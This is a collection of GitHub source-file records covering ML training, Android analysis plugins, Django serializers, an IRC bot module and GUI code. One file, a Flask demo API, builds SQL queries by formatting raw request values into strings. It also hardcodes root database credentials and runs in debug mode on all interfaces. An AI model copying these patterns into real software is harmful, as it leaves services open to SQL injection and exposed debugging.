worksheet['Weight'] * worksheet['Decision']\r\n\t\t\r\n\t\troot = 1\r\n\t\tfile = \"outputs/rules/rules_\"+str(i)+\".py\"\r\n\t\t\r\n\t\tfunctions.createFile(file, header)\r\n\t\t\r\n\t\t#print(worksheet)\r\n\t\tTraining.buildDecisionTree(worksheet.drop(columns=['Weight'])\r\n\t\t\t, root, file, config, dataset_features)\r\n\t\t\r\n\t\t#---------------------------------------\r\n\t\t\r\n\t\tmoduleName = \"outputs/rules/rules_\"+str(i)\r\n\t\tfp, pathname, description = imp.find_module(moduleName)\r\n\t\tmyrules = imp.load_module(moduleName, fp, pathname, description)\r\n\t\tmodels.append(myrules)\r\n\t\t\r\n\t\t#---------------------------------------\r\n\t\t\r\n\t\tdf['Epoch'] = i\r\n\t\tworksheet['Prediction'] = df.apply(findPrediction, axis=1)\r\n\t\tdf = df.drop(columns = ['Epoch'])\r\n\t\t\r\n\t\t#---------------------------------------\r\n\t\tworksheet['Actual'] = df['Decision']\r\n\t\tworksheet['Loss'] = abs(worksheet['Actual'] - worksheet['Prediction'])/2\r\n\t\tworksheet['Weight_Times_Loss'] = worksheet['Loss'] * worksheet['Weight']\r\n\t\t\r\n\t\tepsilon = worksheet['Weight_Times_Loss'].sum()\r\n\t\talpha = math.log((1 - epsilon)/epsilon)/2 #use alpha to update weights in the next round\r\n\t\talphas.append(alpha)\r\n\t\t\r\n\t\t#-----------------------------\r\n\t\t\r\n\t\t#store alpha\r\n\t\taddEpochAlpha(i, alpha)\r\n\t\t\r\n\t\t#-----------------------------\r\n\t\t\r\n\t\tworksheet['Alpha'] = alpha\r\n\t\tworksheet['New_Weights'] = worksheet['Weight'] * (-alpha * worksheet['Actual'] * worksheet['Prediction']).apply(math.exp)\r\n\t\t\r\n\t\t#normalize\r\n\t\tworksheet['New_Weights'] = worksheet['New_Weights'] / worksheet['New_Weights'].sum()\r\n\t\tworksheet['Weight'] = worksheet['New_Weights']\r\n\t\tworksheet['Decision'] = df['Decision']\r\n\t\t\r\n\t\tfinal_predictions['Prediction']  =  final_predictions['Prediction'] + worksheet['Alpha'] * worksheet['Prediction']\r\n\t\t#print(final_predictions)\r\n\t\tworksheet = worksheet.drop(columns = ['New_Weights', 'Prediction', 'Actual', 'Loss', 'Weight_Times_Loss', 'Alpha'])\r\n\t\t\r\n\t\tmae = (np.abs(final_predictions['Prediction'].apply(functions.sign) - final_predictions['Actual'])/2).sum()/final_predictions.shape[0]\r\n\t\t#print(mae)\r\n\t\tpbar.set_description(\"Epoch %d. Loss: %d. Process: \" % (i+1, mae))\r\n\t\r\n\t#------------------------------\r\n\tfinal_predictions['Prediction'] = final_predictions['Prediction'].apply(functions.sign)\r\n\tfinal_predictions['Absolute_Error'] = np.abs(final_predictions['Actual'] - final_predictions['Prediction'])/2\r\n\t#print(final_predictions)\r\n\tmae = final_predictions['Absolute_Error'].sum() / final_predictions.shape[0]\r\n\tprint(\"Loss (MAE) found \", mae, \" with \",num_of_weak_classifier, ' weak classifiers')\r\n\t\r\n\treturn models, alphas\r\n\r\ndef initializeAlphaFile():\r\n\tfile = \"outputs/rules/alphas.py\"\r\n\theader = \"def findAlpha(epoch):\\n\"\r\n\tfunctions.createFile(file, header)\r\n\r\ndef addEpochAlpha(epoch, alpha):\r\n\tfile = \"outputs/rules/alphas.py\"\r\n\tcontent = \"   if epoch == \"+str(epoch)+\":\\n\"\r\n\tcontent += \"      return \"+str(alpha)\r\n\tfunctions.storeRule(file, content)\r\n","repo_name":"ArielCyber/When-the-guard-failed-the-droid","sub_path":"classifiers/PB-AMD/Chefboost/tuning/adaboost.py","file_name":"adaboost.py","file_ext":"py","file_size_in_byte":4243,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"23891282276","text":"import json\nimport pymysql\nimport flask\nimport re\n\n# 打开数据库连接\ndb = pymysql.connect(\"localhost\", \"root\", \"123456\", \"python_demo\")\nserver=flask.Flask(__name__)\n# 使用 cursor() 方法创建一个游标对象 cursor\ncursor = db.cursor()\n\n#登录接口\n@server.route('/civp/getview/api/u/queryUnify',methods=['post','get'])\ndef queryUnify():\n    tokenid = flask.request.values.get('tokenid')\n    innerIfType = flask.request.values.get('innerIfType')\n    cid= flask.request.values.get('cid')\n    idNumber= flask.request.values.get('idNumber')\n    realName= flask.request.values.get('realName')\n    authCode= flask.request.values.get('authCode')\n    Authorization_id = authCode[12:18]\n    if tokenid and innerIfType and cid and idNumber and realName and authCode:\n        sql1 = \"select encrypt_data from encrypt_data where encrypt_data ='%s';\"%tokenid\n        result = cursor.execute(sql1)\n        if result:\n            typeList = [\"A3\"]\n            if innerIfType in typeList:\n                an = re.search('^1([38][0-9]|4[579]|5[0-3,5-9]|6[6]|7[0135678]|9[89])\\d{8}$', cid)\n                if an:\n                    bn = re.search('^[1-9]\\d{7}((0\\d)|(1[0-2]))(([0|1|2]\\d)|3[0-1])\\d{3}$|^[1-9]\\d{5}[1-9]\\d{3}((0\\d)|(1[0-2]))(([0|1|2]\\d)|3[0-1])\\d{3}([0-9]|X)$',idNumber)\n                    if bn:\n                        cn = re.search('[\\u4e00-\\u9fa5]',realName)\n                        if cn:\n                            dn = re.search('^[A-Za-z0-9]{50}$',authCode)\n                            if dn:\n                                sql2 = \"select company from Authorization where Authorization_id='%s'\"%Authorization_id\n                                result = cursor.execute(sql2)\n                                if result:\n                                    sql3 = \"select code from jiao_moke where name='%s'and mobile = '%s'and card_id ='%s';\"%(realName,cid,idNumber)\n                                    result = cursor.execute(sql3)\n                                    if result:\n                                        code = ''.join(cursor.fetchone())\n                                        res = {\"error_code\": 1000,\"code\":code, \"msg\": \"成功\"}\n                                    else:\n                                        res = {\"error_code\": 1000,\"code\":98,\"msg\": \"成功\"}\n                                else:\n                                    res = {\"error_code\": 2007, \"msg\": \"授权码不存在\"}\n                            else:\n                                res = {\"error_code\": 2006, \"msg\": \"授权码不合法\"}\n                        else:\n                            res = {\"error_code\": 2005, \"msg\": \"姓名不合法\"}\n                    else:\n                        res = {\"error_code\": 2004, \"msg\": \"身份证号不合法\"}\n                else:\n                    res = {\"error_code\": 2003, \"msg\": \"手机号码不合法\"}\n            else:\n                res = {\"error_code\": 2002, \"msg\": \"接口类型不合法\"}\n        else:\n            res = {\"error_code\": 2001, \"msg\": \"tokenid未授权\"}\n    else:\n        res = {\"error_code\": 2000, \"msg\": \"参数不正确\"}\n    return json.dumps(res, ensure_ascii=False)\nserver.run(host='0.0.0.0',port=8002,debug=True)  #启动服务\n","repo_name":"uupyue/python_code","sub_path":"test_demo/jiao.py","file_name":"jiao.py","file_ext":"py","file_size_in_byte":3234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31655184489","text":"\"\"\"\r\nDwarf - Copyright (C) 2019 Giovanni Rocca (iGio90)\r\n\r\n    This program is free software: you can redistribute it and/or modify\r\n    it under the terms of the GNU General Public License as published by\r\n    the Free Software Foundation, either version 3 of the License, or\r\n    (at your option) any later version.\r\n\r\n    This program is distributed in the hope that it will be useful,\r\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\r\n    GNU General Public License for more details.\r\n\r\n    You should have received a copy of the GNU General Public License\r\n    along with this program.  If not, see <https://www.gnu.org/licenses/>\r\n\"\"\"\r\nimport os\r\n\r\nfrom PyQt5.QtCore import QObject, Qt\r\nfrom PyQt5.QtGui import QStandardItemModel\r\nfrom dwarf.ui.widgets.list_view import DwarfListView\r\n\r\nfrom drdwarf.src.explorer import Explorer\r\n\r\n\r\nclass Plugin(QObject):\r\n\r\n    @staticmethod\r\n    def __get_plugin_info__():\r\n        return {\r\n            'name': 'drdwarf',\r\n            'description': 'Android extension for Dwarf',\r\n            'version': '1.0.0',\r\n            'author': 'iGio90',\r\n            'homepage': 'https://github.com/iGio90/drdwarf',\r\n            'license': 'https://www.gnu.org/licenses/gpl-3.0',\r\n        }\r\n\r\n    def __init__(self, app):\r\n        super().__init__()\r\n        self.app = app\r\n\r\n        self.adb = None\r\n        self.explorer = None\r\n\r\n        self.app.session_manager.sessionCreated.connect(self._on_session_created)\r\n\r\n    def _on_session_created(self):\r\n        if self.app.session_manager.session.session_type == 'android':\r\n            self.adb = self.app.session_manager.session.adb\r\n\r\n            if self.adb._is_root:\r\n                self.app.panels_menu.addSeparator()\r\n                self.app.panels_menu.addAction('Android explorer', self.create_widget)\r\n\r\n    def create_widget(self):\r\n        if self.explorer is None:\r\n            self.explorer = Explorer(self)\r\n\r\n            data_path = self.adb.get_data_path_for_package(self.app.dwarf.package)\r\n            if len(data_path) > 0 and data_path.startswith('package:'):\r\n                parts = data_path.split('/')[:-1]\r\n                try:\r\n                    parts[3] = parts[3][:parts[3].index('-')]\r\n                except:\r\n                    pass\r\n                data_path = '/'.join(parts)[8:].replace('/data/app', '/data/data')\r\n            self.explorer.set_path(data_path)\r\n\r\n        self.app.main_tabs.addTab(self.explorer, 'Android explorer')\r\n        self.app.main_tabs.setCurrentIndex(self.app.main_tabs.indexOf(self.explorer))\r\n","repo_name":"iGio90/drdwarf","sub_path":"plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":2637,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"}
+{"seq_id":"31480197292","text":"import neural_renderer as nr\nimport torch\n\ndevice = 'cuda'\n\n\nvertices, faces = nr.load_obj(obj_filename)\nvertices = vertices[None, :, :]  # [num_vertices, XYZ] -> [batch_size=1, num_vertices, XYZ]\nfaces = faces[None, :, :]  # [num_faces, 3] -> [batch_size=1, num_faces, 3]\n\n# create texture [batch_size=1, num_faces, texture_size, texture_size, texture_size, RGB]\ntextures = torch.ones(1, faces.shape[1], 2, 2, 2, 3, dtype=torch.float32).cuda()\n\nIMG_SIZE = 224\nFOCAL_L = 5000.0\nR = torch.eye(3).to(device)\ns, tx, ty = torch.from_numpy(cam) #prediction from SPIN estimate\nT = torch.Tensor([tx, ty, 2* FOCAL_L / ((IMG_SIZE * s) + 1e-9)]).to(device)\nR[2,2] *= -1.0\nRT = torch.Tensor(3,4).to(device) # camera extrinsic parameter\nRT[:,0:3] = R\nRT[:,3] = T\nK = torch.Tensor([[FOCAL_L, 0, IMG_SIZE/2],\n                  [0, FOCAL_L, IMG_SIZE/2],\n                  [0, 0, 1]]).to(device) # camera intrinsic parameter\nP = torch.matmul(K, RT).unsqueeze(0) # projection matrix batch_size x 3 x 4\nprint(P)\n\nrenderer = nr.Renderer(camera_mode='projection', P=P, orig_size=IMG_SIZE, image_size=IMG_SIZE,\n                      camera_direction=[0,0,1], light_direction=[0,1,0])\nimages, _, _ = renderer(vertices, faces, textures)  # [batch_size, RGB, image_size, image_size]\nimage = images.detach().cpu().numpy()[0].transpose((1, 2, 0))  # [image_size, image_size, RGB]","repo_name":"SmallPigPeppa/mover-lwz","sub_path":"preprocess/pare/tests/test_neural_renderer.py","file_name":"test_neural_renderer.py","file_ext":"py","file_size_in_byte":1353,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"6063428414","text":"from django.forms.models import model_to_dict\nfrom django.contrib.auth.models import User\nfrom rest_framework import serializers\nfrom generics.serializers import ExtendableModelSerializer\nfrom products.models import Product\nfrom products.serializers import ProductBasicSerializer\nfrom users.models import Supplier, Client, Employee\nfrom users.serializers import UserBasicSerializer\nfrom inventories.models import InventoryItem\nfrom inventories.serializers import InventoryItemBasicSerializer\nfrom .models import OrderItem, SupplierOrderItem, InventoryOrderItem, Order\n\n\nclass OrderItemSerializer(ExtendableModelSerializer):\n    order = serializers.PrimaryKeyRelatedField(\n        queryset=Order.objects.all(), \n        required=False\n    )\n\n    class Meta:\n        model = Product\n        fields = '__all__'\n\n\nclass SupplierOrderItemSerializer(OrderItemSerializer):\n    supplier_id = serializers.PrimaryKeyRelatedField(\n        queryset=Supplier.objects.all(), \n        source=\"supplier\", \n        write_only=True, \n        required=False\n    )\n    supplier = UserBasicSerializer(read_only=True)\n    product_id = serializers.PrimaryKeyRelatedField(\n        queryset=Product.objects.all(), \n        source=\"product\", \n        write_only=True, \n        required=False\n    )\n    product = ProductBasicSerializer(read_only=True)\n\n    class Meta:\n        model = SupplierOrderItem\n        fields = '__all__'\n\n    def validate(self, data):\n        product_id = self.initial_data.get(\"product_id\")\n        product = Product.objects.filter(id=product_id).first()\n        supplier_id = self.initial_data.get(\"supplier_id\")\n        supplier = Supplier.objects.filter(id=supplier_id).first()\n        \n        if product not in supplier.products.all():\n            raise serializers.ValidationError(\n                \"This supplier doesn't supply the product!\"\n            )\n\n        return data\n\n\nclass InventoryOrderItemSerializer(OrderItemSerializer):\n    inventory_item_id = serializers.PrimaryKeyRelatedField(\n        queryset=InventoryItem.objects.all(),\n        source='inventory_item',\n        required=False,\n        write_only=True\n    )\n    inventory_item = InventoryItemBasicSerializer(read_only=True)\n\n    class Meta:\n        model = InventoryOrderItem\n        fields = '__all__'\n\n    def validate(self, data):\n        inventory_item_id = self.initial_data.get(\"inventory_item_id\")\n        inventory_item = InventoryItem.objects.filter(id=inventory_item_id).first()\n\n        if self.initial_data.get(\"amount\") > inventory_item.amount:\n            raise serializers.ValidationError(\n                \"Insufficient amount in iventory!\"\n            )\n\n        return data\n\n\nclass OrderSerializer(ExtendableModelSerializer):\n    client_id = serializers.PrimaryKeyRelatedField(\n        queryset=Client.objects.all(), \n        source=\"client\", \n        write_only=True, \n        required=False\n    )\n    client = UserBasicSerializer(read_only=True)\n    seller_id = serializers.PrimaryKeyRelatedField(\n        queryset=Employee.objects.all(), \n        source=\"seller\", \n        write_only=True, \n        required=False\n    )\n    seller = UserBasicSerializer(read_only=True)\n    items = serializers.SerializerMethodField()\n    installments = serializers.SerializerMethodField()\n    payments = serializers.SerializerMethodField()\n\n    class Meta:\n        model = Order\n        fields = '__all__'\n\n    def get_items(self, obj):\n        items = []\n        for item in obj.items.all():\n            inventory_order_item = InventoryOrderItem.objects.filter(id=item.id).first()\n            supplier_order_item = SupplierOrderItem.objects.filter(id=item.id).first()\n            if inventory_order_item:\n                items.append(InventoryOrderItemSerializer(inventory_order_item).data)\n            else:\n                items.append(SupplierOrderItemSerializer(supplier_order_item).data)\n        return items\n\n    def get_installments(self, obj):\n        return [\n            model_to_dict(i, fields=[\n                \"id\", \"pay_before\", \"currency\", \"amount\", \"remind_at\", \"paid_at\"\n            ]) for i in obj.installments.all()\n        ]\n\n    def get_payments(self, obj):\n        return [\n            model_to_dict(p, fields=[\n                \"id\", \n                \"from_user\", \n                \"to_user\",\n                \"currency\", \n                \"amount\", \n                \"installment\",\n            ]) for p in obj.payments.all()\n        ]\n","repo_name":"adnanbaysal/TinyOMS","sub_path":"Backend/TinyOMS/tinyoms/orders/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":4435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15535138999","text":"#!/usr/bin/env python3\nimport copy\nimport os\nfrom typing import Optional\n\nfrom parlai.core.opt import Opt\nfrom parlai.core.teachers import (\n    ParlAIDialogTeacher,\n)\nfrom parlai.core.params import ParlaiParser\nfrom .build import build\n\n\n##################################################\n#### Teacher for the BlendedSkillTalk Dataset ####\n##################################################\n\ndef _processed_data_path(opt: Opt) -> str:\n    # Build the data if it doesn't exist.\n    build(opt)\n    dt = opt['datatype'].split(':')[0]\n    postfix = opt[\"train_data_postfix\"]\n    if dt == \"train\" and len(postfix) > 0:\n        dt = f\"{dt}-{postfix}\"\n    return os.path.join(opt['datapath'], 'bst_distill', dt + '.txt')\n\n\nclass BSTDistillTeacher(ParlAIDialogTeacher):\n    @classmethod\n    def add_cmdline_args(\n        cls, parser: ParlaiParser, partial_opt: Optional[Opt] = None\n    ) -> ParlaiParser:\n        agent = parser.add_argument_group('BSTDistillFlatTeacher arguments')\n        agent.add_argument(\n            '--train-data-postfix',\n            type=str,\n            default=\"\",\n        )\n        return parser\n\n    def __init__(self, opt, shared=None):\n        opt = copy.deepcopy(opt)\n        opt['parlaidialogteacher_datafile'] = _processed_data_path(opt)\n        super().__init__(opt, shared)\n\n    def _setup_data(self, path):\n        super()._setup_data(path)\n        for episode in self.episodes:\n            for msg in episode:\n                label_candidates_scores = msg.get(\"label_candidates_scores\")\n                if label_candidates_scores is not None:\n                    scores = [float(x) for x in label_candidates_scores.split(\"|\")]\n                    assert len(scores) == len(msg[\"label_candidates\"])\n                    msg.force_set(\"label_candidates_scores\", scores)\n\n                label_candidates_masks = msg.get(\"label_candidates_masks\")\n                if label_candidates_masks is not None:\n                    masks = [float(x) for x in label_candidates_masks.split(\"|\")]\n                    assert len(masks) == len(msg[\"label_candidates\"])\n                    msg.force_set(\"label_candidates_masks\", masks)\n\n\nclass DefaultTeacher(BSTDistillTeacher):\n    pass\n","repo_name":"emnlp-2021-g2r/ParlAI","sub_path":"parlai/tasks/bst_distill/agents.py","file_name":"agents.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"17622509059","text":"import os\nimport CTK\nimport time\nimport config\n\nCACHE_EXPIRATION = 10 * 60 # 10mins\nCOMMENT_MAX_SIZE = 60\n\ndef run (cmd):\n    f = os.popen (\"cd '%s'; %s\" %(config.GIT_CHEROKEE_LOCAL, cmd))\n    cont = f.read()\n    try:\n        f.close()\n    except:\n        pass\n    return cont\n\n#\n# Internals\n#\ndef get_commit_list (num):\n    # Update\n    run ('git pull')\n\n    # Query SVN server\n    cont = run ('git log --branches --pretty=format:\"%an||%ar||%s||%H\" -'+str(num))\n\n    # Parse\n    parsed = []\n\n    for line in cont.split('\\n'):\n        parts = line.split(\"||\")\n        if len(parts) != 4:\n            continue\n\n        parsed.append (parts)\n\n    return parsed\n\n\n#\n# Widget\n#\nclass Latest_GIT_Commits_Widget (CTK.Box):\n    def __init__ (self, num=7):\n        CTK.Box.__init__ (self, {'id': 'latest-commits'})\n\n        self += CTK.Box({'class': 'bar3-title'}, CTK.RawHTML('<a href=\"https://github.com/cherokee/webserver/commits/dev\" target=\"_blank\">Latest Commits</a>'))\n\n        for commit in get_commit_list (num):\n            user    = commit[0]\n            date    = commit[1]\n            comment = commit[2]\n            rev     = commit[3]\n\n            if len(comment) > COMMENT_MAX_SIZE:\n                comment = comment[:COMMENT_MAX_SIZE - 3] + \"...\"\n\n            url = \"https://github.com/cherokee/webserver/commit/\" + rev\n            content_box = CTK.Box({'class': 'commit'})\n\n            date_box = CTK.Box({'class': 'date'})\n            date_box += CTK.LinkWindow (url, CTK.RawHTML(date), {'title': rev})\n            content_box += date_box\n\n            commit_box = CTK.Box ({'class': 'commit-txt'}, CTK.RawHTML ('%(user)s: %(comment)s'%(locals())))\n            content_box += commit_box\n\n            self += content_box\n\n        self += CTK.Box({'class': 'bar3-bottom-link'}, CTK.RawHTML('<a href=\"https://github.com/cherokee/webserver/commits/dev\" target=\"_blank\">View Commits Log &raquo;</a>'))\n\n\n#\n# Factory and cache\n#\nlatest_widget            = None\nlatest_widget_expiration = None\n\ndef Latest_GIT_Commits():\n    global latest_widget\n    global latest_widget_expiration\n\n    if not latest_widget or time.time() > latest_widget_expiration:\n        latest_widget            = Latest_GIT_Commits_Widget()\n        latest_widget_expiration = time.time() + CACHE_EXPIRATION\n\n    return latest_widget\n","repo_name":"cherokee/web","sub_path":"Commits.py","file_name":"Commits.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"60"}
+{"seq_id":"70788927553","text":"from modularirc import BaseModule\n\n\nclass Module(BaseModule):\n    \"\"\"admin_functions: special functions for admins\"\"\"\n    \n    def __init__(self, mgr):\n        super().__init__(mgr, admin_only=True)\n\n    #def handle( self, cmd, args, source, target, admin ):\n    #   if not admin:\n    #       return\n    #   if cmd in ( '+o', '-o' ):\n    #       if len( args ) > 1:\n    #           dest = None\n    #           nicks = None\n    #           if args[0][0] == '#':\n    #               dest = args[0]\n    #               nicks = args[1:]\n    #           elif target[0] == '#':\n    #               dest = target\n    #               nicks = args\n    #           if dest != None:\n    #               for nick in nicks:\n    #                   self.mgr.bot.connection.mode( dest, cmd + \" \" + nick )\n    #       elif len( args ) == 1 and args[0][0] == '#':\n    #           self.mgr.bot.connection.mode( args[0], cmd + \" \" + source )\n    #       elif target[0] == '#':\n    #           self.mgr.bot.connection.mode( target, cmd + \" \" + source )\n    #       else:\n    #           self.notice( source, \"Usage: <+|->o <#<channel>|nicknames>\" )\n\n\n    # command handlers\n    \n    # !admin_help handler\n    #def admin_cmd_admin_help( self, args, source, target, admin ):\n    #   if admin:\n    #       for msg in (\n    #           '!modules: show loaded modules',\n    #           '!reload_modules: reload modules',\n    #           '!+o <args>: make someone op',\n    #           '!-o <args>: make someone not op',\n    #       ):\n    #           self.notice( source, msg )\n    \n    def admin_cmd_op(self, arglist, source, target, **kwargs):\n        \"\"\"!op <+o|-o> <args>: make or break someone as op\"\"\"\n        if len(arglist) == 0:\n            return [self.admin_cmd_op.__doc__]\n        cmd = arglist[ 0 ]\n        args = arglist[ 1: ]\n        if cmd in ( '+o', '-o' ):\n            if len( args ) > 1:\n                dest = None\n                nicks = None\n                if args[0][0] == '#':\n                    dest = args[0]\n                    nicks = args[1:]\n                elif target[0] == '#':\n                    dest = target\n                    nicks = args\n                if dest != None:\n                    for nick in nicks:\n                        self.mgr.bot.connection.mode( dest, cmd + ' ' + nick )\n            elif len( args ) == 1 and args[0][0] == '#':\n                self.mgr.bot.connection.mode( args[0], cmd + ' ' + source )\n            elif target[0] == '#':\n                self.mgr.bot.connection.mode( target, cmd + ' ' + source )\n            else:\n                self.notice( source, \"Usage: !op <+|->o [<#<channel>|nicknames>]\" )\n\n    # make the bot speak\n    def admin_cmd_say(self, arglist, **kwargs):\n        \"\"\"!say <target> <message>: make the bot speak\"\"\"\n        self.privmsg(arglist[0], ' '.join(arglist[1:]))\n    def admin_cmd_notice(self, arglist, **kwargs):\n        \"\"\"!notice <target> <message>: make the bot send a notice\"\"\"\n        self.notice(arglist[0], ' '.join(arglist[1:]))\n\n    # show bot statistics\n    def admin_cmd_stats(self, **kwargs):\n        \"\"\"!stats: show statistics\"\"\"\n        stats = []\n        for chname, chobj in list(self.mgr.bot.channels.items()):\n            stats.append( \"--- Channel statistics ---\" )\n            stats.append( \"Channel: \" + chname )\n            users = chobj.users()\n            users.sort()\n            stats.append( \"Users: \" + \", \".join( users ) )\n            opers = chobj.opers()\n            opers.sort()\n            stats.append( \"Opers: \" + \", \".join( opers ) )\n            voiced = chobj.voiced()\n            voiced.sort()\n            stats.append( \"Voiced: \" + \", \".join( voiced ) )\n        return stats\n\n    # change bot nick\n    def admin_cmd_nick(self, arglist, **kwargs):\n        \"\"\"!nick <nick>: change the nick\"\"\"\n        self.mgr.bot.connection.nick(arglist[0])\n\n    # make bot join channel(s)\n    def admin_cmd_join(self, arglist, **kwargs):\n        \"\"\"!join <channel>[ <channel>...]: join a channel\"\"\"\n        for channel in arglist:\n            self.mgr.bot.connection.join(channel)\n\n    # make bot leave channel(s)\n    def admin_cmd_part(self, arglist, target, **kwargs):\n        \"\"\"!part [<channel>]: part this or a specific channel\"\"\"\n        if len(arglist) > 0:\n            self.mgr.bot.connection.part(arglist)\n        elif target[0] == '#':\n            self.mgr.bot.connection.part(target)\n","repo_name":"jawsper/modularirc","sub_path":"src/modularirc/modules/builtins/admin_functions.py","file_name":"admin_functions.py","file_ext":"py","file_size_in_byte":4393,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"5405309063","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jan  8 09:30:35 2021\n\n@author: Jin Zhu\n\"\"\"\n\n\nimport matplotlib\nmatplotlib.use(\"TkAgg\")\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2Tk\nfrom matplotlib.figure import Figure\nimport tkinter as tk\nfrom tkinter import ttk\nfrom tkinter.filedialog import askopenfilename, askdirectory, asksaveasfilename\nfrom tkinter import messagebox\nimport json\nimport itertools\nimport time\nimport threading\nimport uuid\nimport re\nimport math\nimport load\nimport os\nfrom time import strftime \n  \n    \nclass BackendProcess:\n    def __init__(self):\n        self.finished = False\n\n    def task(self):\n        time.sleep(2)\n        print('finished')\n        self.finished = True\n\n    def run(self):\n        thread = threading.Thread(target=self.task, daemon=True)\n        thread.start() \n\n\ndef updatelist(option, menu, key):\n    menu['menu'].delete(0, 'end')\n    for choice in key:\n        menu['menu'].add_command(label=choice, command=tk._setit(option, choice))\n    menu['menu'].add_command(label='None', command=tk._setit(option, 'None'))   \n\n\ndef getfloat(text):\n    if text is not None:\n        if isinstance(text, str):\n            if text == '/' or text == '-':\n                return 0\n            elif re.findall(r'\\d+', text):\n                return float(re.search(r'\\d+', text).group())\n            else:\n                return text\n        elif math.isnan(text):\n            return 0\n        else:\n            return float(text)\n    else:\n        return 0\n\n\ndef find_key(val, dic):\n    for k,v in dic.items():\n        if isinstance(v, dict):\n            p = find_key(val, v)\n            if p:\n                return [k] \n        elif getfloat(v) == val:\n            return [k]\n\n\ndef superfilter(data, key):\n    if key == '金风':\n        return [i for i in data.keys() if re.findall(r'\\AGW', i)]\n    elif key == '远景':\n        return [i for i in data.keys() if re.findall(r'\\AEN', i)]\n    elif key == '中车':\n        return [i for i in data.keys() if re.findall(r'\\AWT', i)]\n    elif key == '明阳':\n        return [i for i in data.keys() if re.findall(r'\\AM', i)]\n    elif key == '三一':\n        return [i for i in data.keys() if re.findall(r'\\ASE', i)]    \n\ndef getKey(data):\n    length_1 = 0\n    for i in range(len(data)):\n        if length_1 < len(list(data.values())[i].keys()):\n            length_1 = len(list(data.values())[i].keys())\n            KeyList = list(list(data.values())[0].keys())                   \n    length_i = 0\n    Parameter_i = []\n    for i in range(len(data)):\n        Parameter_2 = []\n        length_2 = 0\n        for item in list(list(data.values())[i].values()):\n            if list(item.keys()):\n                length_2 += len(list(item.keys()))\n                Parameter_2.append(list(item.keys()))\n        if length_i < length_2:\n            length_i = length_2\n            Parameter_i = Parameter_2\n    Parameter = Parameter_i  \n    return KeyList, Parameter\n\n\ndef Dictfilter(Dict, key1=None, key2=None):\n    info = []\n    if key2:\n        for project in Dict.values():\n            info.append(project.get(key1, {}).get(key2))    \n    elif key1:\n        for project in Dict.values():\n            info.append(project.get(key1, {}))\n    else:\n        for project in Dict.values():\n            info.append(project)\n    return info\n\n\nclass Application(tk.Tk):\n    def __init__(self, *args, **kwargs):       \n        tk.Tk.__init__(self, *args, **kwargs)\n        tk.Tk.iconbitmap(self, \"D:\\\\spyder_run\\\\database\\\\ramble.ico\")\n        tk.Tk.wm_title(self, \"DataRamble\")                \n        container = tk.Frame(self)\n        container.pack(side=\"top\", fill=\"both\", expand = True)\n        container.grid_rowconfigure(0, weight=1)\n        container.grid_columnconfigure(0, weight=1)\n        self.frames = {}\n        for F in (StartPage, PageOne, PageTwo, PageThree):\n            frame = F(container, self)\n            self.frames[F] = frame\n            frame.grid(row=0, column=0, sticky=\"nsew\")\n        self.show_frame(StartPage)\n\n    def show_frame(self, cont):\n        frame = self.frames[cont]\n        frame.tkraise()\n\n        \nclass StartPage(tk.Frame):\n    def __init__(self, parent, controller):\n        tk.Frame.__init__(self,parent)\n        label = tk.Label(self, text=\"Front Page\", font=LARGE_FONT)\n        label.pack()\n        button = ttk.Button(self, text=\"Manage\",\n                            command=lambda: controller.show_frame(PageOne))\n        button.pack()\n        button2 = ttk.Button(self, text=\"Look-up\",\n                            command=lambda: controller.show_frame(PageTwo))\n        button2.pack()\n        button3 = ttk.Button(self, text=\"Graph\",\n                            command=lambda: controller.show_frame(PageThree))\n        button3.pack()  \n        preface = 'When you look at a single digit, it means nothing. \\\n        \\nBut when you look at a bunch of numbers, it can be everything.\\\n        \\nData are rambling. Some of them strolled away and regathered in this hub.'\n        label2 = tk.Label(self, text=preface, font = ('calibri', 12, 'bold'), \n                          borderwidth=4, relief=\"solid\", background=\"white\", foreground=\"black\")\n        label2.pack()\n        label3 = tk.Label(self, font = ('calibri', 40, 'bold'), \n            background = 'white', \n            foreground = 'black') \n        label3.pack()\n        self.Time(label3)\n\n    def Time(self, label): \n        string = strftime('%H:%M:%S %p') \n        label.config(text = string) \n        label.after(1000, time) \n\nclass PageOne(tk.Frame):\n    def __init__(self, parent, controller):\n        tk.Frame.__init__(self, parent)\n        label = tk.Label(self, text=\"Database management!\", font=LARGE_FONT)\n        label.grid()      \n        button1 = ttk.Button(self, text=\"Back to Home\",\n                            command=lambda: controller.show_frame(StartPage))\n        button1.grid(row=10, column=4, sticky=tk.EW)\n        self.process = BackendProcess()\n        self.widget()\n        \n    def widget(self):\n        button2 = tk.Button(self, text='Update', command=self.Update)\n        button2.grid(row=2, column=4, sticky=tk.EW)        \n        button3 = ttk.Button(self, text='Data path', command=self.folderpath)\n        button3.grid(row=1, column=1, sticky=tk.EW)\n        button4 = ttk.Button(self, text='Output path', command=self.savepath)\n        button4.grid(row=2, column=1, sticky=tk.EW)\n        self.path1 = tk.StringVar(self)\n        self.path1.set('')\n        Entry1 = tk.Entry(self, text=self.path1)\n        Entry1.grid(row=1, column=2, columnspan=2, sticky=tk.EW)\n        self.path2 = tk.StringVar(self)\n        self.path2.set('')\n        Entry2 = tk.Entry(self, text=self.path2)\n        Entry2.grid(row=2, column=2, columnspan=2, sticky=tk.EW)\n        self.var1 = tk.IntVar(self)\n        tk.Checkbutton(self, text=\"Load/Update Load\", 